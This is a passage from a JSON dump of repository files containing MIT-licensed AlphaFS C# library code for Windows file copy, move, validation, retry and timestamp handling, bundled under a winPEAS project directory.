name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.RestartMoveOrThrowException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.IO;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      [SuppressMessage(\"Microsoft.Maintainability\", \"CA1502:AvoidExcessiveComplexity\")]\n      [SecurityCritical]\n      private static bool RestartMoveOrThrowException(bool retry, int lastError, bool isFolder, bool isMove, CopyMoveArguments cma, string sourcePathLp, string destinationPathLp)\n      {\n         var restart = false;\n         var srcExists = ExistsCore(cma.Transaction, isFolder, sourcePathLp, PathFormat.LongFullPath);\n         var dstExists = ExistsCore(cma.Transaction, isFolder, destinationPathLp, PathFormat.LongFullPath);\n\n\n         switch ((uint) lastError)\n         {\n            // File.Copy()\n            // File.Move()\n            // MSDN: .NET 3.5+: FileNotFoundException: sourcePath was not found. \n            //\n            // File.Copy()\n            // File.Move()\n            // Directory.Move()\n            // MSDN: .NET 3.5+: DirectoryNotFoundException: The path specified in sourcePath or destinationPath is invalid (for example, it is on an unmapped drive).\n            case Win32Errors.ERROR_FILE_NOT_FOUND: // On files.\n            case Win32Errors.ERROR_PATH_NOT_FOUND: // On folders.\n\n               if (!srcExists)\n                  Directory.ExistsDriveOrFolderOrFile(cma.Transaction, sourcePathLp, isFolder, lastError, false, true);\n\n               if (!dstExists)\n                  Directory.ExistsDriveOrFolderOrFile(cma.Transaction, destinationPathLp, isFolder, lastError, false, true);\n\n               break;\n\n\n            case Win32Errors.ERROR_NOT_READY: // DeviceNotReadyException: Floppy device or network drive not ready.\n               Directory.ExistsDriveOrFolderOrFile(cma.Transaction, sourcePathLp, false, lastError, true, false);\n               Directory.ExistsDriveOrFolderOrFile(cma.Transaction, destinationPathLp, false, lastError, true, false);\n               break;\n\n\n            // File.Copy()\n            // Directory.Copy()\n            case Win32Errors.ERROR_ALREADY_EXISTS: // On folders.\n            case Win32Errors.ERROR_FILE_EXISTS:    // On files.\n               lastError = (int) (isFolder ? Win32Errors.ERROR_ALREADY_EXISTS : Win32Errors.ERROR_FILE_EXISTS);\n\n               if (!retry)\n                  NativeError.ThrowException(lastError, isFolder, destinationPathLp);\n\n               break;\n\n\n            default:\n               var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n\n               FillAttributeInfoCore(cma.Transaction, destinationPathLp, ref attrs, false, false);\n\n               var destIsFolder = IsDirectory(attrs.dwFileAttributes);\n\n\n               // For a number of error codes (sharing violation, path not found, etc)\n               // we don't know if the problem was with the source or destination file.\n\n               // Check if destination directory already exists.\n               // Directory.Move()\n               // MSDN: .NET 3.5+: IOException: destDirName already exists.\n\n               if (destIsFolder && dstExists && !retry)\n                  NativeError.ThrowException(Win32Errors.ERROR_ALREADY_EXISTS, destinationPathLp);\n\n\n\n\n               if (isMove)\n               {\n                  // Ensure that the source file or folder exists.\n                  // Directory.Move()\n                  // MSDN: .NET 3.5+: DirectoryNotFoundException: The path specified by sourceDirName is invalid (for example, it is on an unmapped drive). \n\n                  if (!srcExists && !retry)\n                     NativeError.ThrowException(isFolder ? Win32Errors.ERROR_PATH_NOT_FOUND : Win32Errors.ERROR_FILE_NOT_FOUND, sourcePathLp);\n               }\n\n\n               // Try reading the source file.\n               var fileNameLp = destinationPathLp;\n\n               if (!isFolder)\n               {\n                  using (var safeHandle = CreateFileCore(cma.Transaction, false, sourcePathLp, ExtendedFileAttributes.Normal, null, FileMode.Open, 0, FileShare.Read, false, false, PathFormat.LongFullPath))\n                     if (null != safeHandle)\n                        fileNameLp = sourcePathLp;\n               }\n\n\n               if (lastError == Win32Errors.ERROR_ACCESS_DENIED)\n               {\n                  // File.Copy()\n                  // File.Move()\n                  // MSDN: .NET 3.5+: IOException: An I/O error has occurred.\n\n\n                  // Directory exists with the same name as the file.\n\n                  if (dstExists && !isFolder && destIsFolder && !retry)\n\n                     NativeError.ThrowException(lastError, false, string.Format(CultureInfo.InvariantCulture, Resources.Target_File_Is_A_Directory, destinationPathLp));\n\n                  \n                  // MSDN: .NET 3.5+: IOException: The directory specified by path is read-only.\n\n                  if (isMove && IsReadOnlyOrHidden(attrs.dwFileAttributes))\n                  {\n                     if (HasReplaceExisting(cma.MoveOptions))\n                     {\n                        // Reset attributes to Normal.\n                        SetAttributesCore(cma.Transaction, isFolder, destinationPathLp, FileAttributes.Normal, PathFormat.LongFullPath);\n\n\n                        restart = true;\n                        break;\n                     }\n\n\n                     // MSDN: .NET 3.5+: UnauthorizedAccessException: destinationPath is read-only.\n                     // MSDN: Win32 CopyFileXxx: This function fails with ERROR_ACCESS_DENIED if the destination file already exists\n                     // and has the FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_READONLY attribute set.\n\n                     if (!retry)\n                        throw new FileReadOnlyException(destinationPathLp);\n                  }\n               }\n\n\n               // MSDN: .NET 3.5+: An I/O error has occurred. \n               // File.Copy(): IOException: destinationPath exists and overwrite is false.\n               // File.Move(): The destination file already exists or sourcePath was not found.\n\n               if (!retry)\n                  NativeError.ThrowException(lastError, isFolder, fileNameLp);\n\n               break;\n         }\n\n\n         return restart;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.ValidateFileOrDirectoryMoveArguments.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      internal static CopyMoveArguments ValidateFileOrDirectoryMoveArguments(CopyMoveArguments cma, bool driveChecked, bool isFolder)\n      {\n         string unusedSourcePathLp;\n         string unusedDestinationPathLp;\n\n         return ValidateFileOrDirectoryMoveArguments(cma, driveChecked, isFolder, cma.SourcePath, cma.DestinationPath, out unusedSourcePathLp, out unusedDestinationPathLp);\n      }\n\n\n      /// <summary>Validates and updates the file/directory copy/move arguments and updates them accordingly. This happens only once per <see cref=\"CopyMoveArguments\"/> instance.</summary>\n      private static CopyMoveArguments ValidateFileOrDirectoryMoveArguments(CopyMoveArguments cma, bool driveChecked, bool isFolder, string sourcePath, string destinationPath, out string sourcePathLp, out string destinationPathLp)\n      {\n         sourcePathLp = sourcePath;\n         destinationPathLp = destinationPath;\n         \n         if (cma.PathsChecked)\n            return cma;\n\n\n         cma.IsCopy = IsCopyAction(cma);\n\n         if (!cma.IsCopy)\n            cma.DelayUntilReboot = VerifyDelayUntilReboot(sourcePath, cma.MoveOptions, cma.PathFormat);\n\n\n         if (cma.PathFormat != PathFormat.LongFullPath)\n         {\n            if (null == sourcePath)\n               throw new ArgumentNullException(\"sourcePath\");\n            \n            // File Move action: destinationPath is allowed to be null when MoveOptions.DelayUntilReboot is specified.\n\n            if (!cma.DelayUntilReboot && null == destinationPath)\n               throw new ArgumentNullException(\"destinationPath\");\n            \n\n            if (sourcePath.Trim().Length == 0)\n               throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, \"sourcePath\");\n\n            if (null != destinationPath && destinationPath.Trim().Length == 0)\n               throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, \"destinationPath\");\n\n\n            // MSDN: .NET3.5+: IOException: The sourceDirName and destDirName parameters refer to the same file or directory.\n            // Do not use StringComparison.OrdinalIgnoreCase to allow renaming a folder with different casing.\n\n            if (sourcePath.Equals(destinationPath, StringComparison.Ordinal))\n               NativeError.ThrowException(Win32Errors.ERROR_SAME_DRIVE, destinationPath);\n\n\n            if (!driveChecked)\n            {\n               // Check for local or network drives, such as: \"C:\" or \"\\\\server\\c$\" (but not for \"\\\\?\\GLOBALROOT\\\").\n               if (!sourcePath.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase))\n                  Directory.ExistsDriveOrFolderOrFile(cma.Transaction, sourcePath, isFolder, (int) Win32Errors.NO_ERROR, true, false);\n\n\n               // File Move action: destinationPath is allowed to be null when MoveOptions.DelayUntilReboot is specified.\n               if (!cma.DelayUntilReboot)\n                  Directory.ExistsDriveOrFolderOrFile(cma.Transaction, destinationPath, isFolder, (int) Win32Errors.NO_ERROR, true, false);\n            }\n\n\n            // MSDN: .NET 4+ Trailing spaces are removed from the end of the path parameters before moving the directory.\n            // TrimEnd() is also applied for AlphaFS implementation of method Directory.Copy(), .NET does not have this method.\n\n            const GetFullPathOptions fullPathOptions = GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator;\n\n\n            sourcePathLp = Path.GetExtendedLengthPathCore(cma.Transaction, sourcePath, cma.PathFormat, fullPathOptions);\n\n            if (isFolder || !cma.IsCopy)\n               cma.SourcePathLp = sourcePathLp;\n\n\n            // When destinationPath is null, the file/folder needs to be removed on Computer startup.\n\n            cma.DeleteOnStartup = cma.DelayUntilReboot && null == destinationPath;\n            \n            if (!cma.DeleteOnStartup)\n            {\n               Path.CheckSupportedPathFormat(destinationPath, true, true);\n\n               destinationPathLp = Path.GetExtendedLengthPathCore(cma.Transaction, destinationPath, cma.PathFormat, fullPathOptions);\n\n\n               if (isFolder || !cma.IsCopy)\n               {\n                  cma.DestinationPathLp = destinationPathLp;\n\n                  // Process Move action options, possible fallback to Copy action.\n\n                  if (!cma.IsCopy)\n                     cma = Directory.ValidateMoveAction(cma);\n               }\n\n\n               if (cma.IsCopy)\n               {\n                  cma.CopyTimestamps = HasCopyTimestamps(cma.CopyOptions);\n\n                  if (cma.CopyTimestamps)\n\n                     // Remove the AlphaFS flag since it is unknown to the native Win32 CopyFile/MoveFile functions.\n\n                     cma.CopyOptions &= ~CopyOptions.CopyTimestamp;\n               }\n            }\n\n\n            // Setup callback function for progress notifications.\n\n            if (null == cma.Routine && null != cma.ProgressHandler)\n            {\n               cma.Routine = (totalFileSize, totalBytesTransferred, streamSize, streamBytesTransferred, streamNumber, callbackReason, sourceFile, destinationFile, data) =>\n\n                     cma.ProgressHandler(totalFileSize, totalBytesTransferred, streamSize, streamBytesTransferred, (int) streamNumber, callbackReason, cma.UserProgressData);\n            }\n\n\n            cma.PathFormat = PathFormat.LongFullPath;\n\n            cma.PathsChecked = true;\n         }\n         \n\n         return cma;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.VerifyDelayUntilReboot.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      private static bool VerifyDelayUntilReboot(string sourcePath, MoveOptions? moveOptions, PathFormat pathFormat)\n      {\n         var delayUntilReboot = HasDelayUntilReboot(moveOptions);\n\n         if (delayUntilReboot)\n         {\n            if (HasCopyAllowed(moveOptions))\n               throw new ArgumentException(Resources.MoveOptionsDelayUntilReboot_Not_Allowed_With_MoveOptionsCopyAllowed, \"moveOptions\");\n\n\n            // MoveFileXxx: (lpExistingFileName) If dwFlags specifies MOVEFILE_DELAY_UNTIL_REBOOT,\n            // the file cannot exist on a remote share, because delayed operations are performed before the network is available.\n\n            if (Path.IsUncPathCore(sourcePath, pathFormat != PathFormat.LongFullPath, false))\n               throw new ArgumentException(Resources.MoveOptionsDelayUntilReboot_Not_Allowed_With_NetworkPath, \"moveOptions\");\n         }\n\n         return delayUntilReboot;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.AppendTextCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      internal static StreamWriter AppendTextCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         var fs = OpenCore(transaction, path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat);\n\n         try\n         {\n            fs.Seek(0, SeekOrigin.End);\n\n            return new StreamWriter(fs, encoding);\n         }\n         catch (IOException)\n         {\n            fs.Close();\n\n            throw;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CopyMoveCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Threading;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      // Symbolic Link Effects on File Systems Functions: https://msdn.microsoft.com/en-us/library/windows/desktop/aa365682(v=vs.85).aspx\n\n\n      /// <summary>Copy/move a Non-/Transacted file or directory including its children to a new location, <see cref=\"CopyOptions\"/> or <see cref=\"MoveOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file, unless\n      ///   <paramref name=\"cma.MoveOptions\"/> contains <see cref=\"MoveOptions.ReplaceExisting\"/>.</para>\n      ///   <para>This Move method works across disk volumes, and it does not throw an exception if the\n      ///   source and destination are the same. </para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into\n      ///   that directory, you get an IOException.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with the status of the Copy or Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SuppressMessage(\"Microsoft.Maintainability\", \"CA1502:AvoidExcessiveComplexity\")]\n      [SecurityCritical]\n      internal static CopyMoveResult CopyMoveCore(bool retry, CopyMoveArguments cma, bool driveChecked, bool isFolder, string sourceFilePath, string destinationFilePath, CopyMoveResult copyMoveResult)\n      {\n         #region Setup\n\n         cma = ValidateFileOrDirectoryMoveArguments(cma, driveChecked, false, sourceFilePath, destinationFilePath, out sourceFilePath, out destinationFilePath);\n\n\n         var copyMoveRes = copyMoveResult ?? new CopyMoveResult(cma, isFolder, sourceFilePath, destinationFilePath);\n\n         var isSingleFileAction = null == copyMoveResult && copyMoveRes.IsFile;\n\n\n         var attempts = 1;\n\n         var retryTimeout = 0;\n\n         var errorFilter = null != cma.DirectoryEnumerationFilters && null != cma.DirectoryEnumerationFilters.ErrorFilter ? cma.DirectoryEnumerationFilters.ErrorFilter : null;\n\n         if (retry)\n         {\n            if (null != errorFilter)\n            {\n               attempts += cma.DirectoryEnumerationFilters.ErrorRetry;\n\n               retryTimeout = cma.DirectoryEnumerationFilters.ErrorRetryTimeout;\n            }\n\n            else\n            {\n               if (cma.Retry <= 0)\n                  cma.Retry = 2;\n\n               if (cma.RetryTimeout <= 0)\n                  cma.RetryTimeout = 10;\n\n               attempts += cma.Retry;\n\n               retryTimeout = cma.RetryTimeout;\n            }\n         }\n\n\n         // Calling start on a running Stopwatch is a no-op.\n         copyMoveRes.Stopwatch.Start();\n\n         #endregion // Setup\n\n\n         while (attempts-- > 0)\n         {\n            // MSDN: If this flag is set to TRUE during the copy/move operation, the operation is canceled.\n            // Otherwise, the copy/move operation will continue to completion.\n            bool cancel;\n\n            copyMoveRes.ErrorCode = (int) Win32Errors.NO_ERROR;\n\n            copyMoveRes.IsCanceled = false;\n\n            int lastError;\n\n            \n            if (!cma.DelayUntilReboot)\n            {\n               // Ensure the file's parent directory exists.\n\n               var parentFolder = Directory.GetParentCore(cma.Transaction, destinationFilePath, PathFormat.LongFullPath);\n\n               if (null != parentFolder)\n                  parentFolder.Create();\n            }\n\n\n            if (CopyMoveNative(cma, !cma.IsCopy, sourceFilePath, destinationFilePath, out cancel, out lastError))\n            {\n               // We take an extra hit by getting the file size for a single file Copy or Move action.\n\n               if (isSingleFileAction)\n\n                  copyMoveRes.TotalBytes = GetSizeCore(null, cma.Transaction, destinationFilePath, true, PathFormat.LongFullPath);\n\n\n               if (!isFolder)\n               {\n                  copyMoveRes.TotalFiles++;\n\n                  // Only set timestamps for files.\n\n                  if (cma.CopyTimestamps)\n\n                     CopyTimestampsCore(cma.Transaction, false, sourceFilePath, destinationFilePath, false, PathFormat.LongFullPath);\n               }\n               \n               break;\n            }\n\n\n            // The Copy/Move action failed or is canceled.\n\n            copyMoveRes.ErrorCode = lastError;\n\n            copyMoveRes.IsCanceled = cancel;\n\n            \n            // Report the Exception back to the caller.\n            if (null != errorFilter)\n            {\n               var continueCopyMove = errorFilter(lastError, new Win32Exception(lastError).Message, Path.GetCleanExceptionPath(destinationFilePath));\n\n               if (!continueCopyMove)\n               {\n                  copyMoveRes.IsCanceled = true;\n                  break;\n               }\n            }\n\n\n            if (!cancel)\n            {\n               if (retry)\n                  copyMoveRes.Retries++;\n\n               retry = attempts > 0 && retryTimeout > 0;\n\n\n               // Remove any read-only/hidden attribute, which might also fail.\n\n               RestartMoveOrThrowException(retry, lastError, isFolder, !cma.IsCopy, cma, sourceFilePath, destinationFilePath);\n\n               if (retry)\n               {\n                  if (null != errorFilter && null != cma.DirectoryEnumerationFilters.CancellationToken)\n                  {\n                     if (cma.DirectoryEnumerationFilters.CancellationToken.WaitHandle.WaitOne(retryTimeout * 1000))\n                     {\n                        copyMoveRes.IsCanceled = true;\n                        break;\n                     }\n                  }\n\n                  else\n                     using (var waitEvent = new ManualResetEvent(false))\n                        waitEvent.WaitOne(retryTimeout * 1000);\n               }\n            }\n         }\n\n         \n         if (isSingleFileAction)\n            copyMoveRes.Stopwatch.Stop();\n\n         copyMoveResult = copyMoveRes;\n\n         return copyMoveResult;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CopyTimestampsCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Copies the date and timestamps for the specified files and directories.</summary>\n      /// <remarks>\n      ///   <para>This method does not change last access time for the source file.</para>\n      ///   <para>This method uses BackupSemantics flag to get Timestamp changed for directories.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"sourcePath\"/> is a file or directory.</param>\n      /// <param name=\"sourcePath\">The source path.</param>\n      /// <param name=\"destinationPath\">The destination path.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void CopyTimestampsCore(KernelTransaction transaction, bool isFolder, string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         var attrs = GetAttributesExCore<NativeMethods.WIN32_FILE_ATTRIBUTE_DATA>(transaction, sourcePath, pathFormat, true);\n\n         SetFsoDateTimeCore(transaction, isFolder, destinationPath, DateTime.FromFileTimeUtc(attrs.ftCreationTime),\n\n            DateTime.FromFileTimeUtc(attrs.ftLastAccessTime), DateTime.FromFileTimeUtc(attrs.ftLastWriteTime), modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateFileCore.cs",
